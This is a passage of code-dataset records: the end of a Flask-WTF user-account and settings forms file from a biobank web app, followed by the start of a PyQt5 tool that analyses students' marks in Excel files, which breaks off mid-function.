StaticForm(FlaskForm):\n        submit = SubmitField(\"Submit\")\n\n    setattr(\n        StaticForm,\n        \"email\",\n        StringField(\n            \"Please enter %s\" % (email),\n            [DataRequired(), validate_against_text(email)],\n        ),\n    )\n\n    return StaticForm()\n\n\nclass ForgetPasswordForm(FlaskForm):\n    email = StringField(\"Email Address\", validators=[DataRequired(), Email()])\n    # password = PasswordField(\"Password\", validators=[DataRequired(), Length(min=6)])\n    submit = SubmitField(\"Reset Password\")\n\n\ndef AdminUserAccountEditForm(sites=[], data={}) -> FlaskForm:\n    if \"account_type\" in data:\n        data[\"account_type\"] = AccountType(data[\"account_type\"]).name\n\n    class StaticForm(FlaskForm):\n        title = SelectField(\n            \"Title\", validators=[DataRequired()], choices=Title.choices()\n        )\n\n        first_name = StringField(\"First Name\", validators=[DataRequired()])\n        middle_name = StringField(\"Middle Name\")\n        last_name = StringField(\"Last Name\", validators=[DataRequired()])\n\n        email = StringField(\n            \"Email Address\",\n            description=\"We'll never share your email with anyone else.\",\n            validators=[DataRequired(), Email()],\n        )\n        site_id = SelectField(\n            \"Affiliated Site\",\n            coerce=int,\n            choices=sites,\n        )\n\n        account_type = SelectField(\n            \"Account Type\", validators=[DataRequired()], choices=AccountType.choices()\n        )\n\n        use_template = SelectField(\n            \"Choose user setting from template\",\n            # coerce=int,\n            choices=[],\n            default=None,\n            render_kw={\"size\": \"1\", \"class\": \"form-control bd-light alert-info\"},\n        )\n\n        set_to_template = SubmitField(\n            \"Set\", render_kw={\"class\": \"btn btn-link float-right top10\"}\n        )\n\n        settings = FieldList(FormField(UserSettings), min_entries=1)\n        submit = SubmitField(\n            \"Update\", render_kw={\"class\": \"btn btn-success float-right top10\"}\n        )\n\n        def validate(self):\n            if self.set_to_template.data and not self.set_to_template.data:\n                return False\n\n            if (\n                UserAccount.query.filter_by(email=self.email.data)\n                .filter(UserAccount.id != data[\"id\"])\n                .first()\n            ):\n                self.email.errors.append(\"Email address already in use.\")\n                flash(\"Email address already in use.\")\n                return False\n\n            return True\n\n    return StaticForm(data=data)\n\n\nclass UserSettings(FlaskForm):\n    class Meta:\n        csrf = False\n\n    access_choices = [(1, \"data_entry\"), (2, \"view_only\")]\n    access_level = SelectField(\n        \"Access level\",\n        coerce=int,\n        choices=access_choices,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    site_choices = SelectMultipleField(\n        \"Work Sites\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"selectpicker form-control wd=0.6\"},\n    )\n\n    site_selected = TextAreaField(\n        \"Current\",\n        render_kw={\"readonly\": True, \"rows\": 5, \"class\": \"form-control bd-light\"},\n    )\n    # site_default = SelectField(\n    #     \"Default working site\",\n    #     choices=[], coerce=int,\n    #     render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    # )\n\n    # -- Consent\n    if False:\n        consent_template_choices = SelectMultipleField(\n            \"Consent template choices\",\n            choices=[],\n            coerce=int,\n            render_kw={\"size\": \"1\", \"class\": \"selectpicker form-control wd=0.6\"},\n        )\n        consent_template_selected = TextAreaField(\n            \"Current choice\",\n            render_kw={\"readonly\": True, \"rows\": 5, \"class\": \"form-control bd-light\"},\n        )\n    consent_template_default = SelectField(\n        \"Default working consent template\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # -- Study protocols\n    study_protocol_choices = SelectMultipleField(\n        \"Study choices\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"selectpicker form-control wd=0.6\"},\n    )\n\n    study_protocol_selected = TextAreaField(\n        \"Current choice\",\n        render_kw={\"readonly\": True, \"rows\": 5, \"class\": \"form-control bd-light\"},\n    )\n    study_protocol_default = SelectField(\n        \"Default study\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # -- sample acquisition protocols\n    if False:\n        collection_protocol_choices = SelectMultipleField(\n            \"Sample acquisition protocol choices\",\n            choices=[],\n            coerce=int,\n            render_kw={\"size\": \"1\", \"class\": \"selectpicker form-control wd=0.6\"},\n        )\n        collection_protocol_selected = TextAreaField(\n            \"Current choice\",\n            render_kw={\"readonly\": True, \"rows\": 5, \"class\": \"form-control bd-light\"},\n        )\n    collection_protocol_default = SelectField(\n        \"Default sample acquisition protocol\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # -- sample processing protocols\n    if False:\n        processing_protocol_choices = SelectMultipleField(\n            \"Sample processing protocol choices\",\n            choices=[],\n            coerce=int,\n            render_kw={\"size\": \"1\", \"class\": \"selectpicker form-control wd=0.6\"},\n        )\n        processing_protocol_selected = TextAreaField(\n            \"Current choice\",\n            render_kw={\"readonly\": True, \"rows\": 5, \"class\": \"form-control bd-light\"},\n        )\n    processing_protocol_default = SelectField(\n        \"Default sample processing protocol\",\n        choices=[],\n        coerce=int,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    sample_basetype_default = SelectField(\n        \"Default sample base type\",\n        choices=SampleBaseType.choices(),\n        default=\"FLU\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n    #\n    # sample_basetype_choices = SelectMultipleField(\n    #         \"Sample base type choices\",\n    #         choices=SampleBaseType.choices(),\n    #         default=[]\n    #         )\n    #\n    sample_flu_type_default = SelectField(\n        \"Default sample fluid type\",\n        choices=FluidSampleType.choices(),\n        default=\"BLD\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # sample_flu_type_choices = SelectMultipleField(\n    #         \"Sample fluid types\",\n    #         choices=FluidSampleType.choices(),\n    #         default=[])\n\n    sample_cel_type_default = SelectField(\n        \"Default solid sample type\",\n        choices=CellSampleType.choices(),\n        default=\"BLD\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    sample_mol_type_default = SelectField(\n        \"Default molecular sample type\",\n        choices=MolecularSampleType.choices(),\n        default=None,\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    container_basetype_default = SelectField(\n        \"Default Container Base Type\",\n        choices=ContainerBaseType.choices(),\n        default=\"LTS\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # container_basetype_choices = SelectMultipleField(\n    #         \"Container Base Type choices\",\n    #         choices=ContainerBaseType.choices(),\n    #         default=[])\n    #\n    prm_container_default = SelectField(\n        \"Default primary container type\",\n        choices=FluidContainer.choices(),\n        default=\"CAT\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # prm_container_choices = SelectMultipleField(\n    #         \"Primary container type choices\",\n    #         choices=FluidContainer.choices(),\n    #         default = [])\n    #\n\n    lts_container_default = SelectField(\n        \"Default Long-term Preservation container\",\n        choices=CellContainer.choices(),\n        default=\"D\",\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light\"},\n    )\n\n    # lts_containerprm_choices = SelectMultipleField(\n    #         \"Long-term Preservation container choices\",\n    #         choices=CellContainer.choices(),\n    #         default=[])\n\n    saveto_template_name = StringField(\n        \"To save setting as template, provide a  nick name here\",\n        default=None,\n        validators=[Length(min=4, max=36)],\n        render_kw={\"size\": \"1\", \"class\": \"form-control bd-light alert-info\"},\n    )\n\n    # data_entry = {\n    #         \"site\": {\"default\":1, \"choices\":[1,2]},\n    #\n    #         \"consent_template\": {\"default\": 2, \"choices\":[]},\n    #         \"protocol\": {\n    #             \"STU\": {\"default\": 19},\n    #             \"ACQ\": {\"default\": 5},\n    #         },\n    #\n    #         \"sample_type\": {\n    #             \"base_type\": \"FLU\",\n    #             \"FLU\": {\"default\": \"BLD\",\n    #                     \"choices\": [],\n    #                     },\n    #             },\n    #\n    #         \"container_type\": {\n    #             \"base_type\": {\"default\": \"LTS\"},\n    #             \"PRM\": {\n    #                 \"container\": {\"default\": \"CAT\"},\n    #             },\n    #             \"LTS\": {\n    #                 \"container\": {\"default\": \"X\"},\n    #             },\n    #         },\n    #     }\n", "repo_name": "AberystwythSystemsBiology/limbus", "sub_path": "services/web/app/admin/forms/auth.py", "file_name": "auth.py", "file_ext": "py", "file_size_in_byte": 11315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask_wtf.FlaskForm", "line_number": 36, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 37, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 37, "usage_type": "call"}, {"api_name": "auth.enums.Title.choices", "line_number": 37, "usage_type": "call"}, {"api_name": "auth.enums.Title", "line_number": 37, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 39, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 39, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 40, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 41, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 41, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 43, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 46, "usage_type": "call"}, {"api_name": "wtforms.validators.Email", "line_number": 46, "usage_type": "call"}, {"api_name": "wtforms.PasswordField", "line_number": 49, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 53, "usage_type": "call"}, {"api_name": "wtforms.validators.EqualTo", "line_number": 54, "usage_type": "call"}, {"api_name": "wtforms.BooleanField", "line_number": 58, "usage_type": "call"}, {"api_name": "wtforms.PasswordField", "line_number": 60, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 62, "usage_type": "call"}, {"api_name": "auth.models.UserAccount.query.filter_by", "line_number": 65, "usage_type": "call"}, {"api_name": "auth.models.UserAccount.query", "line_number": 65, "usage_type": "attribute"}, {"api_name": "auth.models.UserAccount", "line_number": 65, "usage_type": "name"}, {"api_name": "wtforms.ValidationError", "line_number": 66, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 70, "usage_type": "name"}, {"api_name": "wtforms.SubmitField", "line_number": 71, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 76, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 78, "usage_type": "call"}, {"api_name": "validators.validate_against_text", "line_number": 78, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 85, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 86, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 86, "usage_type": "call"}, {"api_name": "wtforms.validators.Email", "line_number": 86, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 88, "usage_type": "call"}, {"api_name": "auth.enums.AccountType", "line_number": 93, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 95, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 96, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 97, "usage_type": "call"}, {"api_name": "auth.enums.Title.choices", "line_number": 97, "usage_type": "call"}, {"api_name": "auth.enums.Title", "line_number": 97, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 100, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 100, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 101, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 102, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 102, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 104, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 107, "usage_type": "call"}, {"api_name": "wtforms.validators.Email", "line_number": 107, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 109, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 115, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 116, "usage_type": "call"}, {"api_name": "auth.enums.AccountType.choices", "line_number": 116, "usage_type": "call"}, {"api_name": "auth.enums.AccountType", "line_number": 116, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 119, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 127, "usage_type": "call"}, {"api_name": "wtforms.FieldList", "line_number": 131, "usage_type": "call"}, {"api_name": "wtforms.FormField", "line_number": 131, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 132, "usage_type": "call"}, {"api_name": "auth.models.UserAccount.query.filter_by", "line_number": 141, "usage_type": "call"}, {"api_name": "auth.models.UserAccount.query", "line_number": 141, "usage_type": "attribute"}, {"api_name": "auth.models.UserAccount", "line_number": 141, "usage_type": "name"}, {"api_name": "auth.models.UserAccount.id", "line_number": 142, "usage_type": "attribute"}, {"api_name": "auth.models.UserAccount", "line_number": 142, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 146, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 91, "usage_type": "name"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 154, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 159, "usage_type": "call"}, {"api_name": "wtforms.SelectMultipleField", "line_number": 166, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 173, "usage_type": "call"}, {"api_name": "wtforms.SelectMultipleField", "line_number": 185, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 191, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 195, "usage_type": "call"}, {"api_name": "wtforms.SelectMultipleField", "line_number": 203, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 210, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 214, "usage_type": "call"}, {"api_name": "wtforms.SelectMultipleField", "line_number": 223, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 229, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 233, "usage_type": "call"}, {"api_name": "wtforms.SelectMultipleField", "line_number": 242, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 248, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 252, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 259, "usage_type": "call"}, {"api_name": "sample.enums.SampleBaseType.choices", "line_number": 261, "usage_type": "call"}, {"api_name": "sample.enums.SampleBaseType", "line_number": 261, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 272, "usage_type": "call"}, {"api_name": "sample.enums.FluidSampleType.choices", "line_number": 274, "usage_type": "call"}, {"api_name": "sample.enums.FluidSampleType", "line_number": 274, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 284, "usage_type": "call"}, {"api_name": "sample.enums.CellSampleType.choices", "line_number": 286, "usage_type": "call"}, {"api_name": "sample.enums.CellSampleType", "line_number": 286, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 291, "usage_type": "call"}, {"api_name": "sample.enums.MolecularSampleType.choices", "line_number": 293, "usage_type": "call"}, {"api_name": "sample.enums.MolecularSampleType", "line_number": 293, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 298, "usage_type": "call"}, {"api_name": "sample.enums.ContainerBaseType.choices", "line_number": 300, "usage_type": "call"}, {"api_name": "sample.enums.ContainerBaseType", "line_number": 300, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 310, "usage_type": "call"}, {"api_name": "sample.enums.FluidContainer.choices", "line_number": 312, "usage_type": "call"}, {"api_name": "sample.enums.FluidContainer", "line_number": 312, "usage_type": "name"}, {"api_name": "wtforms.SelectField", "line_number": 323, "usage_type": "call"}, {"api_name": "sample.enums.CellContainer.choices", "line_number": 325, "usage_type": "call"}, {"api_name": "sample.enums.CellContainer", "line_number": 325, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 335, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 338, "usage_type": "call"}]}
{"seq_id": "31775315140", "text": "import sys\nimport os\nimport time\n\nfrom openpyxl import load_workbook, Workbook\nfrom openpyxl.styles import Font, PatternFill, Alignment, Border, Side\nfrom openpyxl.utils import get_column_letter\nfrom PyQt5.QtWidgets import QApplication, QWidget, QFileDialog, QPushButton,\\\n    QLineEdit, QTextEdit, QLabel, QGridLayout, QComboBox\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFont\n\n\ndef is_number(mark):\n    if (''.join(mark.split('.'))).isdigit():\n        return True\n    return False\n\n\ndef get_needed_mark(mark):\n    if not is_number(mark):\n        return mark\n    else:\n        mark = float(mark)\n\n    if mark == 0:\n        return '0'\n    elif mark < 2.5:\n        return '2'\n    elif mark < 3.5:\n        return '3'\n    elif mark < 4.5:\n        return '4'\n    return '5'\n\n\ndef classify(marks):\n    if 'Н/А' in marks:\n        return 'Есть неаттестации'\n    if 'Нзч' in marks:\n        return 'Есть незачёты'\n    if '2' in marks:\n        return 'Двоечник'\n    if marks.count('3') == 1:\n        return 'С одной 3'\n    if marks.count('3') > 1:\n        return 'Троечник'\n    if marks.count('4') == 1:\n        return 'С одной 4'\n    if marks.count('4') > 1:\n        return 'Хорошист'\n    if '5' in marks:\n        return 'Отличник'\n    return 'Недостаточно данных'\n\n\nclass ExcelMarksInterface(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.needed_file_description, self.select_file_button, self.selected_file_label, self.period_label,\\\n            self.period_input, self.form_data_description, self.form_input, self.start_analysing_button,\\\n            self.or_label, self.start_analysing_all_button, self.output_console = [None] * 11\n        self.init_ui()\n        self.analyser = ExcelMarksAnalyser()\n        self.filename = None\n        self.show()\n\n    def init_ui(self):\n        self.setFixedSize(800, 600)\n        self.setWindowTitle('Обработка оценок учеников')\n\n        grid = QGridLayout()\n        grid.setContentsMargins(40, 20, 40, 30)\n        grid.setSpacing(15)\n        self.setLayout(grid)\n\n        self.needed_file_description = QLabel('Выберите файл с итоговыми оценками:', self)\n        self.needed_file_description.setFont(QFont('Arial', 13))\n        grid.addWidget(self.needed_file_description, 0, 0, 1, 3, alignment=Qt.AlignCenter)\n\n        self.select_file_button = QPushButton('Выбрать файл', self)\n        self.select_file_button.setFont(QFont('Arial', 13))\n        self.select_file_button.clicked.connect(self.select_file)\n        self.select_file_button.setFixedSize(150, 40)\n        grid.addWidget(self.select_file_button, 1, 0, alignment=Qt.AlignCenter)\n\n        self.selected_file_label = QLabel('Файл не выбран.', self)\n        self.selected_file_label.setFont(QFont('Arial', 13))\n        grid.addWidget(self.selected_file_label, 1, 1, 1, 2)\n\n        self.period_label = QLabel('Период аттестации (триместр/полугодие/год):', self)\n        self.period_label.setFont(QFont('Arial', 13))\n        grid.addWidget(self.period_label, 2, 0, 1, 2, alignment=Qt.AlignCenter)\n\n        self.period_input = QComboBox(self)\n        self.period_input.addItems(['1', '2', '3', 'Год'])\n        self.period_input.setFont(QFont('Arial', 14))\n        grid.addWidget(self.period_input, 2, 2, alignment=Qt.AlignCenter)\n\n        self.form_data_description = QLabel('Название класса (разделяя номер и букву дефисом):', self)\n        self.form_data_description.setFont(QFont('Arial', 13))\n        grid.addWidget(self.form_data_description, 3, 0, 1, 2, alignment=Qt.AlignCenter)\n\n        self.form_input = QLineEdit('', self)\n        self.form_input.setFont(QFont('Arial', 14))\n        self.form_input.setMaximumWidth(150)\n        grid.addWidget(self.form_input, 3, 2, alignment=Qt.AlignCenter)\n\n        self.start_analysing_button = QPushButton('Обработать', self)\n        self.start_analysing_button.setFont(QFont('Arial', 13))\n        self.start_analysing_button.clicked.connect(self.analyse)\n        self.start_analysing_button.setAutoDefault(True)\n        self.start_analysing_button.setFixedSize(200, 50)\n        grid.addWidget(self.start_analysing_button, 4, 0, 1, 3, alignment=Qt.AlignCenter)\n\n        self.or_label = QLabel('ИЛИ', self)\n        self.or_label.setFont(QFont('Arial', 13))\n        grid.addWidget(self.or_label, 5, 0, 1, 3, alignment=Qt.AlignCenter)\n\n        self.start_analysing_all_button = QPushButton('Обработать все файлы в папке')\n        self.start_analysing_all_button.setFont(QFont('Arial', 13))\n        self.start_analysing_all_button.clicked.connect(self.analyse_all)\n        self.start_analysing_all_button.setFixedSize(300, 50)\n        grid.addWidget(self.start_analysing_all_button, 6, 0, 1, 3, alignment=Qt.AlignCenter)\n\n        self.output_console = QTextEdit('', self)\n        self.output_console.setFont(QFont('Arial', 12))\n        self.output_console.setReadOnly(True)\n        self.output_console.setMaximumHeight(300)\n        grid.addWidget(self.output_console, 7, 0, 1, 3)\n\n    def select_file(self):  # метод для отображения окна выбора файла\n        filename = QFileDialog.getOpenFileName(self, 'Выбор файла для обработки')[0]\n        if filename == '':\n            self.selected_file_label.setText('Файл не выбран.')\n        else:\n            self.filename = filename\n            self.selected_file_label.setText('Выбранный файл: \"{}\".'.format(filename.split('/')[-1]))\n\n    def analyse(self, form=None, period=None):  # метод для обработки файла\n        if self.filename in (None, ''):  # проверка на то, что файл не выбран\n            self.output_console.append('Ошибка: Файл не выбран.\\n')\n            return\n        if not self.filename.endswith('.xlsx'):  # проверка на расширение файла\n            self.output_console.append('Ошибка: Неподдерживаемое расширение файла: \"{}\".\\n'.\n                                       format(self.filename.split('.')[-1]))\n            return\n\n        if not form:\n            form = self.form_input.text().upper()\n        if form == '':  # проверка на то, что класс не указан\n            self.output_console.append('Ошибка: Класс не указан.\\n')\n            return\n        if '-' not in form:  # проверка на отсутствие дефиса в названии класса\n            self.output_console.append('Ошибка: Неправильный формат названия класса.\\n')\n            return\n\n        if not period:\n            period = self.period_input.currentText()\n        if int(form.split('-')[0]) in (10, 11) and period == '3':\n            self.output_console.append('Ошибка: Неправильный формат периода аттестации.\\n')\n            return\n\n        try:\n            start_time = time.time()\n\n            new_filename = 'Заключение по итоговым оценкам_{}.xlsx'.format(form)\n\n            self.analyser.analyse_file(self.filename, form, period)\n            self.analyser.create_resulting_file(new_filename, form, period)\n            self.analyser.reset()\n\n            self.output_console.append('Успешно обработано: \"{}\" ({}).'.format(self.filename, form))\n            self.output_console.append('Файл \"{}\" успешно создан.'.format(new_filename))\n            self.output_console.append('Длительность выполнения: {} сек.\\n'.\n                                       format(str(round(time.time() - start_time, 2))))\n\n        except Exception as e:\n            self.output_console.append('Ошибка: {}.\\n'.format(e))\n\n    def analyse_all(self):\n        if self.filename in (None, ''):  # проверка на то, что файл не выбран\n            self.output_console.append('Ошибка: Файл не выбран.\\n')\n            return\n        if not self.filename.endswith('.xlsx'):  # проверка на расширение файла\n            self.output_console.append('Ошибка: Неподдерживаемое расширение файла: \"{}\".\\n'.\n                                       format(self.filename.split('.')[-1]))\n            return\n\n        period = self.period_input.currentText()\n\n        if len(self.filename.split('/')) > 1:\n            path = '/'.join(self.filename.split('/')[:-1]) + '/'\n        else:\n            path = ''\n\n        files = os.listdir(path)\n        forms = []\n        for file in files:\n            file = file.split('-')\n            if not file[-1].endswith('.xlsx'):\n                continue\n\n            for i in range(len(file) - 1):\n                if len(file[i]) < 1 or len(file[i + 1]) < 1:\n                    continue\n\n                if file[i + 1][0].isalpha():\n                    if file[i].endswith('10') or file[i].endswith('11'):\n                        forms.append(file[i][-2:] + '-' + file[i + 1][0])\n                        break\n                    elif file[i][-1].isdigit():\n                        forms.append(file[i][-1] + '-' + file[i + 1][0])\n                        break\n\n        for form in forms:\n            self.analyse(form, period)\n            self.output_console.repaint()\n\n        self.output_console.append('Обработка файлов завершена.\\n')\n\n\nclass ExcelMarksAnalyser:\n    def __init__(self):\n        self.all_subjects = None\n        self.students = {}\n        self.classifications = {}\n        self.THIN = Side(border_style='thin', color='000000')\n        self.THICK = Side(border_style='thick', color='000000')\n        self.DOUBLE = Side(border_style='double', color='000000')\n\n    def reset(self):\n        self.all_subjects = None\n        self.students = {}\n        self.classifications = {}\n\n    def get_average_marks(self, path, filenames, period):  # метод для получения средних баллов из первого файла\n        if len(filenames) == 1:\n            file_num = 0\n        else:\n            raise ValueError('Слишком много файлов со средними оценками')\n\n        workbook = load_workbook('{}{}'.format(path, filenames[file_num]), read_only=True)\n        sheet = workbook.active\n\n        subjects = list(map(lambda s: s.value, sheet[6][1:]))\n        self.all_subjects = subjects.copy()\n\n        row_num = 7\n        while True:  # пробегаемся по всем рядам таблицы с учениками\n            if row_num > sheet.max_row:\n                break\n            row = list(map(lambda c: c.value, sheet[row_num]))\n            student = row[0]\n            if student in ('', None):  # проверка на пустоту ячейки\n                break\n            if student not in self.students.keys():\n                self.students[student] = {}\n\n            for mark_index in range(len(row[1:])):  # пробегаемся по всем оценкам данного ученика\n                mark = row[1:][mark_index]\n                subject = subjects[mark_index]\n\n                if subject not in self.students[student].keys():\n                    self.students[student][subject] = [[None] * 2, [None] * 2, [None] * 2, [None] * 2]\n\n                if period.isdigit():\n                    self.students[student][subject][int(period) - 1][0] = mark\n                else:\n                    self.students[student][subject][3][0] = mark\n\n            row_num += 1\n\n    def get_final_marks(self, filename, form):  # метод для получения триместровых оценок\n        workbook = load_workbook(filename, read_only=False)\n\n        form_num = form.split('-')[0]\n        sheet = workbook[form_num]\n\n        data = list(map(lambda el: el.value, sheet['B']))\n        index = data.index(form) + 1\n\n        subj_index = index + 2\n        col = 2\n        subjects, periods = {}, {}\n        while sheet.cell(row=subj_index + 1, column=col).value not in (None, ''):  # анализируем шапку\n            subject = sheet.cell(row=subj_index, column=col).value\n            if subject not in (None, ''):\n                subjects[col] = subject\n\n                if subject not in self.all_subjects:\n                    self.all_subjects.append(subject)\n            else:\n                subjects[col] = subjects[col - 1]\n\n            period = sheet.cell(row=subj_index + 1, column=col).value\n            if period not in (None, ''):\n                periods[col] = period\n\n            col += 1\n\n        max_col = col\n\n        student_index = subj_index + 2\n        student_name = sheet.cell(row=student_index, column=1).value\n        while student_name not in (None, ''):  # пробегаемся по всем ученикам нужного класса\n            short_name = ' '.join(student_name.split()[:2])\n\n            if short_name not in self.students.keys():\n                self.students[short_name] = {}\n\n            for col in range(2, max_col):  # пробегаемся по всем оценкам данного ученика\n                mark = sheet.cell(row=student_index, column=col).value\n                if mark in (None, ''):\n                    continue\n\n                subject = subjects[col]\n                if subject not in self.students[short_name].keys():\n                    self.students[short_name][subject] = [[None] * 2, [None] * 2, [None] * 2, [None] * 2]\n\n                if int(form_num) in (10, 11):\n                    if periods[col] == 'Первое полугодие':  # если это итоговая 1 полугодия\n                        self.students[short_name][subject][0][1] = mark\n                    elif periods[col] == 'Второе полугодие':  # если это итоговая 2 полугодия\n                        self.students[short_name][subject][1][1] = mark\n                else:\n                    if periods[col] == '1 триместр':  # если это итоговая 1 триместра\n                        self.students[short_name][subject][0][1] = mark\n                    elif periods[col] == '2 триместр':  # если это итоговая 2 триместра\n                        self.students[short_name][subject][1][1] = mark\n                    elif periods[col] == '3 триместр':  # если это итоговая 3 триместра\n                        self.students[short_name][subject][2][1] = mark\n\n                if periods[col] == 'Год':  # если это годовая оценка\n                    self.students[short_name][subject][3][1] = mark\n\n            student_index += 1\n            student_name = sheet.cell(row=student_index, column=1).value\n\n    def classify_students(self, period):\n        for student in self.students:\n            marks = []\n            for subject in self.students[student]:\n                if period.isdigit():\n                    marks.append(self.students[student][subject][int(period) - 1][1])\n                else:\n                    marks.append(self.students[student][subject][3][1])\n\n            self.classifications[student] = classify(marks)\n\n    def analyse_file(self, filename, form, period):  # основной метод для обработки данных файлов\n        if len(filename.split('/')) > 1:\n            path = '/'.join(filename.split('/')[:-1]) + '/'\n        else:\n            path = ''\n\n        filenames = []\n        for file in os.listdir(path):\n            if form in file and '.xlsx' in file:\n                filenames.append(file)\n\n        if len(filenames) == 0:\n            raise ValueError('Файл со средними оценками не найден')\n\n        self.get_average_marks(path, filenames, period)\n        self.get_final_marks(filename, form)\n        self.classify_students(period)\n\n    def create_resulting_file(self, filename, form, period):  # метод для создания результирующего файла\n        wrong_marks = []\n\n        workbook = Workbook()\n        sheet = workbook.active\n\n        sheet['A1'] = 'Номер'\n        sheet['A1'].alignment = Alignment(horizontal='center', vertical='center')\n        sheet.merge_cells('A1:A3')\n        sheet['A1'].border, sheet['A2'].border, sheet['A3'].border = \\\n            Border(right=self.THIN), Border(right=self.THIN), Border(right=self.THIN, bottom=self.THIN)\n        sheet.column_dimensions['A'].width = 8\n\n        sheet['B1'] = 'Имя ученика'\n        sheet['B1'].alignment = Alignment(horizontal='center', vertical='center')\n        sheet.merge_cells('B1:B3')\n        sheet['B1'].border, sheet['B2'].border, sheet['B3'].border = \\\n            Border(right=self.THICK), Border(right=self.THICK), Border(right=self.THICK, bottom=self.THIN)\n        sheet.column_dimensions['B'].width = 45\n\n        student_index = 0  # порядковый номер ученика\n        for student in sorted(self.students.keys()):  # пробегаемся по всем ученикам\n            sheet.cell(row=student_index + 4, column=1).alignment = Alignment(horizontal='left')\n\n            if student_index == len(self.students) - 1:\n                sheet.cell(row=student_index + 4, column=2, value=student).border = Border(bottom=self.THIN,\n                                                                                           right=self.THICK)\n                sheet.cell(row=student_index + 4, column=1, value=student_index + 1).border = Border(bottom=self.THIN,\n                                                                                                     right=self.THIN)\n            else:\n                sheet.cell(row=student_index + 4, column=1, value=student_index + 1).border = Border(right=self.THIN)\n                sheet.cell(row=student_index + 4, column=2, value=student).border = Border(right=self.THICK)\n\n            subject_index = 0\n            for subject in sorted(self.all_subjects):  # пробегаемся по всем предметам\n\n                subject_column = 3 + subject_index * 3\n                if student_index == 0:  # если это список предметов первого ученика, заполняем шапку\n                    sheet.cell(row=1, column=subject_column).value = subject\n                    